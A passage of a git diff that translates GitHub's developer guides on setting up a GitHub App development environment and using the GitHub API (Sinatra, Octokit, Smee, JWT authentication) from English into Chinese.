-* _`GITHUB_APP_IDENTIFIER`_: Use the app ID you noted in the previous section. -* _`GITHUB_WEBHOOK_SECRET`_: Add your webhook secret. +* _`GITHUB_PRIVATE_KEY`_ :添加 [之前生成并保存](#step-3-save-your-private-key-and-app-id)的私钥。 使用文本编辑器打开 `.pem` 文件或使用命令行显示文件的内容:`cat path/to/your/private-key.pem`。 将文件的全部内容复制为 `.env` 文件中的 `GITHUB_PRIVATE_KEY` 的值。 注意:由于 PEM 文件不止一行,因此需要在值周围添加引号,如下例所示。 +* _`GITHUB_APP_IDENTIFIER`_ :使用在上一节中记下的应用 ID。 +* _`GITHUB_WEBHOOK_SECRET`_ :添加 webhook 密码。 -Here is an example `.env` file: +下面是 `.env` 示例文件: ``` GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- @@ -163,26 +168,26 @@ GITHUB_APP_IDENTIFIER=12345 GITHUB_WEBHOOK_SECRET=your webhook secret ``` -## Step 5. Review the GitHub App template code +## 步骤 5。 审查 GitHub 应用程序模板代码 -The template app code already contains some code that every GitHub App will need. This sections walks you through the code that already exists in the GitHub App template. There aren't any steps that you need to complete in this section. If you're already familiar with the template code, you can skip ahead to "[Step 6. Start the server](#step-6-start-the-server)." +模板应用程序代码已经包含每个 GitHub 应用程序都需要的一些代码。 本节将引导您浏览 GitHub 应用程序模板中已经存在的代码。 在本节中,您不需要完成任何步骤。 如果已经熟悉模板代码,可以直接跳到“[步骤 6. 启动服务器](#step-6-start-the-server)。” -Open up the `template_server.rb` file in your favorite text editor. You'll see comments throughout this file that provide additional context for the template code. We recommend reading those comments carefully and even adding your own comments to accompany new code you write. +在首选的文本编辑器中打开 `template_server.rb` 文件。 您会在整个文件中看到为模板代码提供更多上下文信息的注释。 我们建议您仔细阅读这些注释,甚至为您编写的新代码添加自己的注释。 -At the top of the file you'll see `set :port 3000`, which sets the port used when starting the web server to match the port you redirected your webhook payloads to in "[Step 1. Start a new Smee channel](#step-1-start-a-new-smee-channel)." +在文件顶部,你会看到 `set :port 3000`,它将启动 Web 服务器时使用的端口设置为与在“[步骤 1. 启动新的 Smee 通道](#step-1-start-a-new-smee-channel)中将 Webhook 有效负载重定向到的端口相匹配。” -The next code you'll see is the `class GHApp < Sinatra::Application` declaration. You'll write all of the code for your GitHub App inside this class. +你将看到下一个代码是 `class GHApp < Sinatra::Application` 声明。 您将在此类中编写 GitHub 应用程序的所有代码。 -Out of the box, the class in the template does the following things: -* [Read the environment variables](#read-the-environment-variables) -* [Turn on logging](#turn-on-logging) -* [Define a before filter](#define-a-before-filter) -* [Define the route handler](#define-a-route-handler) -* [Define the helper methods](#define-the-helper-methods) +模板中现成的类可执行以下操作: +* [读取环境变量](#read-the-environment-variables) +* [启用日志](#turn-on-logging) +* [定义前置过滤器](#define-a-before-filter) +* [定义路由处理程序](#define-a-route-handler) +* [定义帮助程序方法](#define-the-helper-methods) -### Read the environment variables +### 读取环境变量 -The first thing that this class does is read the three environment variables you set in "[Step 4. Prepare the runtime environment](#step-4-prepare-the-runtime-environment)" and store them in variables to use later: +该类首先读取在“[步骤 4. 准备运行时环境](#step-4-prepare-the-runtime-environment)”中设置的三个环境变量,并将它们存储在变量中供以后使用: ``` ruby # Expects that the private key in PEM format. Converts the newlines @@ -196,9 +201,9 @@ WEBHOOK_SECRET = ENV['GITHUB_WEBHOOK_SECRET'] APP_IDENTIFIER = ENV['GITHUB_APP_IDENTIFIER'] ``` -### Turn on logging +### 启用日志 -Next is a code block that enables logging during development, which is the default environment in Sinatra. This code turns on logging at the `DEBUG` level to show useful output in the Terminal while you are developing the app: +接下来是一个在开发过程中启用日志记录的代码块,这是 Sinatra 中的默认环境。 此代码在 `DEBUG` 级别打开日志记录,以便在开发应用时在终端中显示有用的输出: ``` ruby # Turn on Sinatra's verbose logging during development @@ -207,9 +212,9 @@ configure :development do end ``` -### Define a before filter +### 定义前置过滤器 -Sinatra uses [before filters](https://github.com/sinatra/sinatra#filters) that allow you to execute code before the route handler. The `before` block in the template calls four [helper methods](https://github.com/sinatra/sinatra#helpers). The template app defines those helper methods in a [later section](#define-the-helper-methods). +Sinatra 使用[前置过滤器](https://github.com/sinatra/sinatra#filters),让你可以在路由处理程序之前执行代码。 模板中的 `before` 块调用四个[帮助程序方法](https://github.com/sinatra/sinatra#helpers)。 模板应用在[后面的部分](#define-the-helper-methods)中定义这些帮助程序方法。 ``` ruby # Before each request to the `/event_handler` route @@ -222,9 +227,9 @@ before '/event_handler' do end ``` -### Define a route handler +### 定义路由处理程序 -An empty route is included in the template code. This code handles all `POST` requests to the `/event_handler` route. You won't write this event handler in this quickstart, but see the other [quickstart guides](/apps/quickstart-guides/) for examples of how to extend this template app. +模板代码中包含空路由。 此代码处理对 `/event_handler` 路由的所有 `POST` 请求。 你将不会在本快速入门中编写此事件处理程序,但请参阅其他[快速入门指南](/apps/quickstart-guides/),了解如何扩展此模板应用的示例。 ``` ruby post '/event_handler' do @@ -232,35 +237,35 @@ post '/event_handler' do end ``` -### Define the helper methods +### 定义帮助程序方法 -The helper methods in this template do most of the heavy lifting. Four helper methods are defined in this section of the code. +此模板中的辅助方法可以完成大部分繁重的工作。 代码的这一部分中定义了四个辅助方法。 -#### Handling the webhook payload +#### 处理 web 挂钩有效负载 -The first method `get_payload_request` captures the webhook payload and converts it to JSON format, which makes accessing the payload's data much easier. +第一种方法 `get_payload_request` 捕获 webhook 有效负载并将其转换为 JSON 格式,这样可以更轻松地访问有效负载的数据。 -#### Verifying the webhook signature +#### 验证 web 挂钩签名 -The second method `verify_webhook_signature` performs verification of the webhook signature to ensure that GitHub generated the event. To learn more about the code in the `verify_webhook_signature` helper method, see "[Securing your webhooks](/webhooks/securing/)." If the webhooks are secure, this method will log all incoming payloads to your Terminal. The logger code is helpful in verifying your web server is working but you can always remove it later. +第二种方法 `verify_webhook_signature` 执行 webhook 签名验证,确保 GitHub 生成了事件。 要详细了解 `verify_webhook_signature` 帮助程序方法中的代码,请参阅“[保护 webhook](/webhooks/securing/)。” 如果 web 挂钩是安全的,则此方法会将所有传入的有效负载记录到您的终端。 记录器代码有助于验证 Web 服务器是否正常运行,但是您以后可以随时删除它。 -#### Authenticating as a GitHub App +#### 验证为 GitHub 应用程序 -To make API calls, you'll be using the [Octokit library](http://octokit.github.io/octokit.rb/). Doing anything interesting with this library will require you, or rather your app, to authenticate. GitHub Apps have two methods of authentication: +若要进行 API 调用,你将使用 [Octokit 库](http://octokit.github.io/octokit.rb/)。 要对此库进行任何有意义的操作,都需要您(或者更确切地说是您的应用程序)进行身份验证。 GitHub 应用程序有两种身份验证方法: -- Authenticating as a GitHub App using a [JSON Web Token (JWT)](https://jwt.io/introduction). -- Authenticating as a specific installation of a GitHub App using an installation access token. +- 使用 [JSON Web 令牌 (JWT)](https://jwt.io/introduction) 验证为 GitHub 应用。 +- 使用安装访问令牌验证为 GitHub 应用程序的特定安装设施。 -You'll learn about authenticating as an installation in the [next section](#authenticating-as-an-installation). +在[下一部分](#authenticating-as-an-installation)中,你将了解如何验证为安装。 -[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app) lets you do a couple of things: +利用[验证为 GitHub 应用](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app),可以执行以下几个操作: - * You can retrieve high-level management information about your GitHub App. - * You can request access tokens for an installation of the app. + * 可以检索有关 GitHub 应用程序的高级别管理信息。 + * 为应用程序安装申请访问令牌。 -For example, you would authenticate as a GitHub App to retrieve a list of the accounts (organization and personal) that have installed your app. But this authentication method doesn't allow you to do much with the API. To access a repository's data and perform operations on behalf of the installation, you need to authenticate as an installation. To do that, you'll need to authenticate as a GitHub App first to request an installation access token. +例如,通过验证为 GitHub 应用程序,您可以检索已安装您的应用程序的帐户(组织帐户和个人帐户)列表。 不过这种身份验证方法不允许您使用 API 做很多事情。 要访问仓库的数据并代表安装设施执行操作,您需要验证为安装设施。 为此,您需要先验证为 GitHub 应用程序才能请求安装设施访问令牌。 -Before you can use the Octokit.rb library to make API calls, you'll need to initialize an [Octokit client](http://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as a GitHub App. The `authenticate_app` helper method does just that! +在使用 Octokit.rb 库进行 API 调用之前,需要初始化验证为 GitHub 应用的 [Octokit 客户端](http://octokit.github.io/octokit.rb/Octokit/Client.html)。 `authenticate_app` 帮助程序方法就是这样做的! ``` ruby # Instantiate an Octokit client authenticated as a GitHub App. @@ -288,11 +293,11 @@ def authenticate_app end ``` -The code above generates a [JSON Web Token (JWT)](https://jwt.io/introduction) and uses it (along with your app's private key) to initialize the Octokit client. GitHub checks a request's authentication by verifying the token with the app's stored public key. To learn more about how this code works, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)." +上面的代码生成一个 [JSON Web 令牌 (JWT)](https://jwt.io/introduction),并使用它(连同应用的私钥)来初始化 Octokit 客户端。 GitHub 通过使用应用程序存储的公钥验证令牌来检查请求的身份验证。 若要详细了解此代码的工作原理,请参阅“[验证为 GitHub 应用](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)”。 -#### Authenticating as an installation +#### 验证为安装 -An _installation_ refers to any user or organization account that has installed the app. Even if someone installs the app on more than one repository, it only counts as one installation because it's within the same account. The last helper method `authenticate_installation` initializes an [Octokit client](http://octokit.github.io/octokit.rb/Octokit/Client.html) authenticated as an installation. This Octokit client is what you'd use to make authenticated API calls. +“安装”是指已安装该应用的任何用户或组织帐户。 即使有人在多个仓库中安装应用程序,也只能算作一个安装设施,因为它们在同一个帐户内。 最后一个帮助程序方法 `authenticate_installation` 初始化验证为安装的 [Octokit 客户端](http://octokit.github.io/octokit.rb/Octokit/Client.html)。 此 Octokit 客户端是您用来进行经验证 API 调用的客户端。 ``` ruby # Instantiate an Octokit client authenticated as an installation of a @@ -304,40 +309,40 @@ def authenticate_installation(payload) end ``` -The [`create_app_installation_access_token`](http://octokit.github.io/octokit.rb/Octokit/Client/Apps.html#create_app_installation_access_token-instance_method) Octokit method creates an installation token. This method accepts two arguments: +[`create_app_installation_access_token`](http://octokit.github.io/octokit.rb/Octokit/Client/Apps.html#create_app_installation_access_token-instance_method) Octokit 方法创建一个安装令牌。 此方法接受两个参数: -* Installation (integer): The ID of a GitHub App installation -* Options (hash, defaults to `{}`): A customizable set of options +* 安装 设施(整数):GitHub 应用程序安装设施的 ID +* 选项(哈希,默认为 `{}`):一组可自定义的选项 -Any time a GitHub App receives a webhook, it includes an `installation` object with an `id`. Using the client authenticated as a GitHub App, you pass this ID to the `create_app_installation_access_token` method to generate an access token for each installation. Since you're not passing any options to the method, the options default to an empty hash. If you look back at [the docs](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation), you can see the response for `create_app_installation_access_token` includes two fields: `token` and `expired_at`. The template code selects the token in the response and initializes an installation client. +每当 GitHub 应用收到 Webhook 时,它都包含一个具有 `id` 的 `installation` 对象。 使用验证为 GitHub 应用的客户端,将此 ID 传递给 `create_app_installation_access_token` 方法,以便为每个安装生成访问令牌。 由于您没有向该方法传递任何选项,因此这些选项默认为空哈希。 如果回顾[文档](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation),可以看到包含两个字段(`token` 和 `expired_at`)的 `create_app_installation_access_token` 响应。 模板代码选择响应中的令牌并初始化安装客户端。 -With this method in place, each time your app receives a new webhook payload, it creates a client for the installation that triggered the event. This authentication process enables your GitHub App to work for all installations on any account. +使用此方法,您的应用程序每次收到新的 web 挂钩有效负载时,都会为触发事件的安装设施创建一个客户端。 此身份验证过程使您的 GitHub 应用程序能够在任何帐户上的所有安装设施中正常工作。 -Now you're ready to start making API calls! +现在您可以开始进行 API 调用了! -## Step 6. Start the server +## 步骤 6。 启动服务器 -Your app doesn't _do_ anything yet, but at this point, you can get it running on the server. +应用还没有执行任何操作,但是现在你可以让它在服务器上运行。 -Keep Smee running in the current tab in your Terminal. Open a new tab and `cd` into the directory where you [cloned the template app code](#prerequisites). The Ruby code in this repository will start up a [Sinatra](http://sinatrarb.com/) web server. This code has a few dependencies. You can install these by running: +让 Smee 在您终端的当前选项卡中运行。 打开一个新选项卡,然后通过 `cd` 进入[克隆模板应用代码](#prerequisites)的目录。 此存储库中的 Ruby 代码将启动 [Sinatra](http://sinatrarb.com/) Web 服务器。 此代码有一些依赖项。 可以通过运行以下命令安装它们: ```shell $ gem install bundler ``` -Followed by: +后面是: ```shell $ bundle install ``` -With the dependencies installed, you can start the server: +安装依赖项后,您可以启动服务器: ```shell $ bundle exec ruby template_server.rb ``` -You should see a response like: +应该会看到如下所示的响应: ```shell > == Sinatra (v2.0.3) has taken the stage on 3000 for development with backup from Puma @@ -349,25 +354,25 @@ You should see a response like: > Use Ctrl-C to stop ``` -If you see an error, make sure you've created the `.env` file in the directory that contains `template_server.rb`. +如果看到错误,请确保已在包含 `template_server.rb` 的目录中创建了 `.env` 文件。 -Once the server is running, you can test it by going to `http://localhost:3000` in your browser. If the app works as expected, you'll see a helpful error page: +服务器运行后,你可以转到浏览器中的 `http://localhost:3000` 对其进行测试。 如果应用程序按预期工作,您将看到一个有用的错误页面: Sinatra's 404 error page -This is good! Even though it's an error page, it's a _Sinatra_ error page, which means your app is connected to the server as expected. You're seeing this message because you haven't given the app anything else to show. +很好! 即使它是错误页面,它也是一个 Sinatra 错误页面,这意味着你的应用已按预期连接到服务器。 之所以会看到此消息,是因为您还没有给应用程序提供任何要显示的内容。 -## Step 7. Install the app on your account +## 步骤 7. 在您的帐户上安装应用程序 -You can test that the server is listening to your app by triggering an event for it to receive. A simple event you can test is installing the app on your GitHub account, which should send the [`installation`](/webhooks/event-payloads/#installation) event. If the app receives it, you should see some output in the Terminal tab where you started `template_server.rb`. +您可以通过触发要接收的事件来测试服务器是否正在侦听您的应用程序。 你可以测试一个简单的事件,那就是在 GitHub 帐户上安装应用,此操作应该会发送 [`installation`](/webhooks/event-payloads/#installation) 事件。 如果应用收到它,你应该会在启动 `template_server.rb` 的终端选项卡中看到一些输出。 -To install the app, visit the [app settings page](https://github.com/settings/apps), choose your app, and click **Install App** in the sidebar. Next to your username, click **Install**. +若要安装应用,请访问[应用设置页](https://github.com/settings/apps),选择应用,然后单击边栏中的“安装应用”。 在用户名旁边,单击“安装”。 -You'll be asked whether to install the app on all repositories or selected repositories. If you don't want to install the app on _all_ of your repositories, that's okay! You may want to create a sandbox repository for testing purposes and install your app there. +系统会询问您是在所有仓库还是所选仓库上安装应用程序。 如果你不想在所有存储库中安装该应用,也没关系! 您可能需要创建一个沙箱仓库用于测试,并在那里安装您的应用程序。 App installation permissions -After you click **Install**, look at the output in your Terminal. You should see something like this: +单击“安装”后,查看终端中的输出。 你应看到与下面类似的内容: ```shell > D, [2018-06-29T15:45:43.773077 #30488] DEBUG -- : ---- received event integration_installation @@ -378,31 +383,31 @@ After you click **Install**, look at the output in your Terminal. You should see > 192.30.252.39 - - [29/Jun/2018:15:45:43 -0400] "POST / HTTP/2" 200 2 0.0019 ``` -This is good news! It means your app received a notification that it was installed on your GitHub account. If you see something like this, your app is running on the server as expected. 🙌 +好消息! 这意味着您的应用程序收到了它已安装在您的 GitHub 帐户上的通知。 如果您看到以下图标,则表明您的应用程序正在服务器上按预期运行。 🙌 -If you don't see the output, make sure Smee is running correctly in another Terminal tab. If you need to restart Smee, note that you'll also need to _uninstall_ and _reinstall_ the app to send the `installation` event to your app again and see the output in Terminal. If Smee isn't the problem, see the "[Troubleshooting](#troubleshooting)" section for other ideas. +如果没有看到输出,请确保 Smee 在另一个终端选项卡中正常运行。如果需要重启 Smee,请注意还需要卸载并重新安装该应用以再次将 `installation` 事件发送到你的应用并在终端中查看输出 。 如果问题不在 Smee 上,请查看“[故障排除](#troubleshooting)”部分了解其他原因。 -If you're wondering where the Terminal output above is coming from, it's written in the [app template code](#prerequisites) in `template_server.rb`. +如果想知道上面的终端输出来自哪里,它是在 `template_server.rb` 中的[应用模板代码](#prerequisites) 中编写的。 -## Troubleshooting +## 故障排除 -Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data reusables.support.prodname_support_forum_with_url %}. +以下是一些常见问题和一些建议的解决方案。 如果您遇到任何其他问题,可以在 {% data variables.product.prodname_support_forum_with_url %} 中寻求帮助或建议。 -* **Q:** When I try to install the Smee command-line client, I get the following error: +* 问:我在尝试安装 Smee 命令行客户端时,收到以下错误: ```shell > npm: command not found ``` - **A:** Looks like you don't have npm installed. The best way to install it is to download the Node.js package at https://nodejs.org and follow the installation instructions for your system. npm will be installed alongside Node.js. + 答:你似乎没有安装 npm。 安装它的最佳方法是在 https://nodejs.org 下载 Node.js 包并按照相应系统的安装说明进行操作。 npm 将随 Node.js 一起安装。 -* **Q:** When I run the server, I get the following error: +* 问:我在运行服务器时,收到以下错误: ```shell > server.rb:38:in `initialize': Neither PUB key nor PRIV key: header too long (OpenSSL::PKey::RSAError) ``` - **A:** You probably haven't set up your private key environment variable quite right. Your `GITHUB_PRIVATE_KEY` variable should look like this: + 答:你可能没有完全正确地设置私钥环境变量。 你的 `GITHUB_PRIVATE_KEY` 变量应如下所示: ``` GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- @@ -412,42 +417,42 @@ Here are a few common problems and some suggested solutions. If you run into any -----END RSA PRIVATE KEY-----" ``` - Double-check that you've copied the correct public key into your `.env` file. + 仔细检查你是否已将正确的公钥复制到 `.env` 文件中。 -* **Q:** When I run the server, it crashes with this error: +* 问:我在运行服务器时,它出现故障并显示以下错误: ```shell > Octokit::Unauthorized ... 401 - Bad credentials` ``` - **A:** You may be authenticated as a GitHub App but not as an installation. Make sure you follow all the steps under "[Authenticate as an installation](#authenticating-as-an-installation)," and use the `@installation_client` instance variable (authenticated with an installation access token) for your API operations, not the `@app_client` instance variable (authenticated with a JWT). The `@app_client` can only retrieve high-level information about your app and obtain installation access tokens. It can't do much else in the API. + 答:可能是验证为了 GitHub 应用,而不是安装。 确保遵循“[验证为安装](#authenticating-as-an-installation)”下的所有步骤,并为 API 操作使用 `@installation_client` 实例变量(使用安装访问令牌进行身份验证),而不是 `@app_client` 实例变量(通过 JWT 进行身份验证)。 `@app_client` 只能检索有关应用的高级信息并获取安装访问令牌。 它在 API 中做不了太多其他事情。 -* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm installing the app on a repository on GitHub, but I don't see any output in the Terminal window where I'm running the server. +* 问:我的服务器没有监听事件! Smee 客户端在终端窗口中运行,我正在将应用程序安装到 GitHub 上的仓库中,但是在运行服务器的终端窗口中没有看到任何输出。 - **A:** You may not be running the Smee client, running the Smee command with the wrong parameters or you may not have the correct Smee domain in your GitHub App settings. First check to make sure the Smee client is running in a Terminal tab. If that's not the problem, visit your [app settings page](https://github.com/settings/apps) and check the fields shown in "[Step 2. Register a new GitHub App](#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u ` command in "[Step 1. Start a new Smee channel](#step-1-start-a-new-smee-channel)." If none of the above work, check that you are running the full Smee command including the `--path` and `--port` options, for example: `smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000` (replacing `https://smee.io/qrfeVRbFbffd6vD` with your own Smee domain). + 答:可能没有运行 Smee 客户端,运行 Smee 命令时使用了错误的参数,或者你的 GitHub 应用设置中可能没有正确的 Smee 域。 首先进行检查,确保 Smee 客户端正在终端选项卡中运行。如果这不是问题的原因,请访问[应用设置页面](https://github.com/settings/apps)并检查“[步骤 2. 注册新的 GitHub 应用](#step-2-register-a-new-github-app)”中显示的字段。 确保这些字段中的域与在“[步骤 1. 启动新的 Smee 通道](#step-1-start-a-new-smee-channel)”中的 `smee -u ` 命令中使用的域相匹配。 如果以上方法均不能解决问题,请检查是否在运行完整的 Smee 命令(包括 `--path` 和 `--port` 选项),例如:`smee --url https://smee.io/qrfeVRbFbffd6vD --path /event_handler --port 3000`(用自己的 Smee 域替换 `https://smee.io/qrfeVRbFbffd6vD`)。 -* **Q:** I'm getting an `Octokit::NotFound` 404 error in my debug output: +* 问:我在调试输出中收到 `Octokit::NotFound` 404 错误: ``` 2018-12-06 15:00:56 - Octokit::NotFound - POST {% data variables.product.api_url_code %}/app/installations/500991/access_tokens: 404 - Not Found // See: /v3/apps/#create-a-new-installation-token: ``` - **A:** Ensure the variables in your `.env` file are correct. Make sure that you have not set identical variables in any other environment variable files like `bash_profile`. You can check the environment variables your app is using by adding `puts` statements to your app code and re-running the code. For example, to ensure you have the correct private key set, you could add `puts PRIVATE_KEY` to your app code: + 答:确保 `.env` 文件中的变量正确无误。 确保没有在任何其他环境变量文件(如 `bash_profile`)中设置相同的变量。 可以通过将 `puts` 语句添加到应用代码并重新运行代码来检查应用正在使用的环境变量。 例如,为确保拥有正确的私钥集,可以将 `puts PRIVATE_KEY` 添加到应用代码中: ``` PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n")) puts PRIVATE_KEY ``` -## Conclusion +## 结束语 -After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you: +完成本指南后,您已了解开发 GitHub 应用程序的基本构建块! 回顾一下: -* Registered a new GitHub App -* Used Smee to receive webhook payloads -* Ran a simple web server via Sinatra -* Authenticated as a GitHub App -* Authenticated as an installation +* 注册新的 GitHub 应用程序 +* 使用 Sme 接收 web 挂钩有效负载 +* 通过 Sinatra 运行一个简单的 Web 服务器 +* 验证为 GitHub 应用程序 +* 验证为安装设施 -## Next steps +## 后续步骤 -You now have a GitHub App running on a server. It doesn't do anything special yet, but check out some of the ways you can customize your GitHub App template in the other [quickstart guides](/apps/quickstart-guides/). +现在,您在服务器上运行了 GitHub 应用程序。 它尚未执行任何特别的操作,但请查看其他[快速入门指南](/apps/quickstart-guides/)中的一些自定义 GitHub 应用模板的方法。 diff --git a/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md index c02382a1b5..93d7467201 100644 --- a/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md +++ b/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md @@ -1,6 +1,6 @@ --- -title: Using the GitHub API in your app -intro: Learn how to set up your app to listen for events and use the Octokit library to perform REST API operations. +title: 在应用程序中使用 GitHub API +intro: 了解如何设置应用程序以侦听事件,并使用 Octokit 库执行 REST API 操作。 redirect_from: - /apps/building-your-first-github-app - /apps/quickstart-guides/using-the-github-api-in-your-app @@ -13,88 +13,94 @@ versions: topics: - GitHub Apps shortTitle: Build an app with the REST API +ms.openlocfilehash: 93679e41fe145406ed1eb99e2daaba6bf8e10e76 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145085023' --- -## Introduction +## 简介 -This guide will help you build a GitHub App and run it on a server. The app you build will add a label to all new issues opened in the repository where the app is installed. +本指南将帮助您构建 GitHub 应用程序并在服务器上运行它。 您构建的应用程序将为在安装该应用程序的仓库中所有打开的新议题添加标签。 -This project will walk you through the following: +此项目将引导您完成以下工作: -* Programming your app to listen for events -* Using the Octokit.rb library to do REST API operations +* 编程应用程序以侦听事件 +* 使用 Octokit. rb 库执行 REST API 操作 {% data reusables.apps.app-ruby-guides %} -Once you've worked through the steps, you'll be ready to develop other kinds of integrations using the full suite of GitHub APIs. {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %} +一旦完成了这些步骤,您就可以使用整套 GitHub API 开发其他类型的集成。 {% ifversion fpt or ghec %}可以在 [GitHub 市场](https://github.com/marketplace)中查看应用的成功示例,并[与 GitHub 配合使用](https://github.com/works-with)。{% endif %} -## Prerequisites +## 先决条件 -You may find it helpful to have a basic understanding of the following: +您可能会发现对以下内容有基本的了解很有帮助: -* [GitHub Apps](/apps/about-apps) -* [Webhooks](/webhooks) -* [The Ruby programming language](https://www.ruby-lang.org/en/) -* [REST APIs](/rest) +* [GitHub 应用](/apps/about-apps) +* [Webhook](/webhooks) +* [Ruby 编程语言](https://www.ruby-lang.org/en/) +* [REST API](/rest) * [Sinatra](http://sinatrarb.com/) -But you can follow along at any experience level. We'll link out to information you need along the way! +但是,任何经验水平都能跟上步伐。 我们会一路提供所需信息的链接。 -Before you begin, you'll need to do the following: +在开始之前,您需要执行以下操作: -1. Clone the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository. +1. 克隆[在应用中使用 GitHub API](https://github.com/github-developer/using-the-github-api-in-your-app) 存储库。 ```shell $ git clone https://github.com/github-developer/using-the-github-api-in-your-app.git ``` - Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code. + 在目录中,你将找到包含本快速入门将要使用的模板代码的 `template_server.rb` 文件以及包含已完成项目代码的 `server.rb` 文件。 -1. Follow the steps in the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart to configure and run the `template_server.rb` app server. If you've previously completed a GitHub App quickstart other than [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/), you should register a _new_ GitHub App and start a new Smee channel to use with this quickstart. +1. 按照[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)快速入门中的步骤来配置和运行 `template_server.rb` 应用服务器。 如果你以前完成了[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)以外的其他 GitHub 应用快速入门,你应该注册一个新 GitHub 应用并启动一个新 Smee 通道以用于本快速入门。 - This quickstart includes the same `template_server.rb` code as the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart. **Note:** As you follow along with the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart, make sure to use the project files included in the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository. + 本快速入门包含与[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)快速入门相同的 `template_server.rb` 代码。 **注意:** 遵循 [设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)快速入门的同时,请确保使用 [在应用中使用 GitHub API](https://github.com/github-developer/using-the-github-api-in-your-app) 存储库中包含的项目文件。 - See the [Troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App. + 如果在设置模板 GitHub 应用时遇到问题,请参阅[故障排除](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting)部分。 -## Building the app +## 构建应用程序 -Now that you're familiar with the `template_server.rb` code, you're going to create code that automatically adds the `needs-response` label to all issues opened in the repository where the app is installed. +现在你已经熟悉了 `template_server.rb` 代码,你将创建代码来将 `needs-response` 标签自动添加到安装该应用的存储库中的所有已打开问题。 -The `template_server.rb` file contains app template code that has not yet been customized. In this file, you'll see some placeholder code for handling webhook events and some other code for initializing an Octokit.rb client. +`template_server.rb` 文件包含尚未自定义的应用模板代码。 在本文件中,您将看到一些用于处理 web 挂钩事件的占位符代码,以及用于初始化 Octokit.rb 客户端的一些其他代码。 {% note %} -**Note:** `template_server.rb` contains many code comments that complement this guide and explain additional technical details. You may find it helpful to read through the comments in that file now, before continuing with this section, to get an overview of how the code works. +**注意:** `template_server.rb` 包含许多代码注释,可补充本指南并解释其他技术细节。 您可能会发现,在继续本节之前通读该文件中的注释以概要了解代码的工作方式,将对您大有帮助。 -The final customized code that you'll create by the end of this guide is provided in [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Try waiting until the end to look at it, though! +你在本指南末尾创建的最终自定义代码位于 [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb)。 不过,尽可能等到最后再查看它吧! {% endnote %} -These are the steps you'll complete to create your first GitHub App: +以下是创建第一个 GitHub 应用程序要完成的步骤: -1. [Update app permissions](#step-1-update-app-permissions) -2. [Add event handling](#step-2-add-event-handling) -3. [Create a new label](#step-3-create-a-new-label) -4. [Add label handling](#step-4-add-label-handling) +1. [更新应用权限](#step-1-update-app-permissions) +2. [添加事件处理](#step-2-add-event-handling) +3. [创建新标签](#step-3-create-a-new-label) +4. [添加标签处理](#step-4-add-label-handling) -## Step 1. Update app permissions +## 步骤 1。 更新应用权限 -When you [first registered your app](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read issues and write labels. +如果你在[首次注册应用](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)时接受了默认权限,则意味着你的应用无法访问大多数资源。 对于此示例,您的应用程序将需要读取议题和写入标签的权限。 -To update your app's permissions: +要更新应用程序的权限: -1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar. -1. In the "Permissions" section, find "Issues," and select **Read & Write** in the "Access" dropdown next to it. The description says this option grants access to both issues and labels, which is just what you need. -1. In the "Subscribe to events" section, select **Issues** to subscribe to the event. +1. 从[应用设置页](https://github.com/settings/apps)中选择应用,然后单击边栏中的“权限和 Webhook”。 +1. 在“权限”部分,找到“问题”,然后在其旁边的“访问权限”下拉列表中选择“读取和写入”。 说明中表示,此选项将授予对议题和标签的访问权限,而这正是您所需要的。 +1. 在“订阅事件”部分,选择“问题”以订阅事件。 {% data reusables.apps.accept_new_permissions_steps %} -Great! Your app has permission to do the tasks you want it to do. Now you can add the code to make it work. +很好! 您的应用程序现在有权限执行所需的任务。 现在,您可以添加代码使其正常工作。 -## Step 2. Add event handling +## 步骤 2. 添加事件处理 -The first thing your app needs to 